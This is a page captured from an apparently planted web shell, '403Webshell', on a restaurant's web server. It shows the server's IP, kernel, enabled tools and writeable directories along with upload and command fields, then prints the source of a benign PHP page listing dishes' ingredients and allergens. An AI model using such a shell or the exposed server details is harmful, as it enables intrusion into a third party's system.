403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/alergeny.php
<?php
declare(strict_types=1);

require_once __DIR__ . '/includes/functions.php';
/* POLANA_V15_MENU_PUBLIC */
require_once __DIR__ . '/includes/polana_v15_menu.php';
require_once __DIR__ . '/includes/menu_placeholder.php';

$menuType = polana_menu_type((string)($_GET['kind'] ?? 'food'));
$title = 'Składniki i alergeny | ' . setting('site_name', APP_NAME);
$description = 'Informacje o składnikach i alergenach w daniach restauracji Moja Polana Smaków.';

render_public_head($title, $description, '/alergeny' . ($menuType === 'food' ? '' : '?kind=' . $menuType));
render_public_header('menu');

$menu = p15_active_menu($menuType);
$categories = $menu ? menu_categories_with_items((int)$menu['id']) : [];
?>
<main class="allergens-page">
    <section class="page-hero compact">
        <div class="container narrow">
            <span class="eyebrow">Informacje o daniach</span>
            <h1>Składniki i alergeny</h1>
            <?php p15_menu_tabs($menuType, '/alergeny'); ?>
            <p>
                Przy każdej pozycji możesz sprawdzić informacje uzupełnione przez restaurację.
                W razie alergii lub nietolerancji poinformuj obsługę przed złożeniem zamówienia.
            </p>
        </div>
    </section>

    <section class="legal-content">
        <div class="container legal-container">
            <?php if (!$categories): ?>
                <div class="legal-notice">
                    <h2>Szczegółowe informacje</h2>
                    <p>
                        Szczegółowy wykaz składników i alergenów dla aktualnie serwowanych dań
                        jest dostępny u obsługi restauracji. Informacje online uzupełnimy wraz
                        z publikacją pełnej karty.
                    </p>
                </div>
            <?php else: ?>
                <?php foreach ($categories as $category): ?>
                    <?php if (empty($category['items'])) continue; ?>
                    <section class="allergen-category">
                        <h2><?= e(p15_menu_text($category, 'name')) ?></h2>

                        <div class="allergen-items">
                            <?php foreach ($category['items'] as $item): ?>
                                <article class="allergen-item">
                                    <h3><?= e(p15_menu_text($item, 'name')) ?></h3>

                                    <?php if (p15_menu_text($item, 'ingredients') !== ''): ?>
                                        <p>
                                            <strong><?= e(p15_menu_ui('Składniki:')) ?></strong>
                                            <?= e(p15_menu_text($item, 'ingredients')) ?>
                                        </p>
                                    <?php else: ?>
                                        <p class="muted">
                                            <?= (['pl'=>'Składniki: informacja dostępna u obsługi.','en'=>'Ingredients: please ask our staff.','es'=>'Ingredientes: consulte con nuestro personal.','de'=>'Zutaten: Bitte fragen Sie unser Personal.'][p15_menu_lang()]) ?>
                                        </p>
                                    <?php endif; ?>

                                    <?php if (p15_menu_text($item, 'allergens') !== ''): ?>
                                        <p class="allergen-highlight">
                                            <strong><?= e(p15_menu_ui('Alergeny:')) ?></strong>
                                            <?= e(p15_menu_text($item, 'allergens')) ?>
                                        </p>
                                    <?php else: ?>
                                        <p class="muted">
                                            <?= (['pl'=>'Alergeny: informacja dostępna u obsługi.','en'=>'Allergens: please ask our staff.','es'=>'Alérgenos: consulte con nuestro personal.','de'=>'Allergene: Bitte fragen Sie unser Personal.'][p15_menu_lang()]) ?>
                                        </p>
                                    <?php endif; ?>
                                </article>
                            <?php endforeach; ?>
                        </div>
                    </section>
                <?php endforeach; ?>
            <?php endif; ?>

            <section class="legal-notice">
                <h2>14 grup alergenów</h2>
                <p>
                    Zboża zawierające gluten, skorupiaki, jaja, ryby, orzeszki ziemne,
                    soja, mleko, orzechy, seler, gorczyca, sezam, dwutlenek siarki
                    i siarczyny, łubin oraz mięczaki.
                </p>
            </section>
        </div>
    </section>
</main>
<?php render_public_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit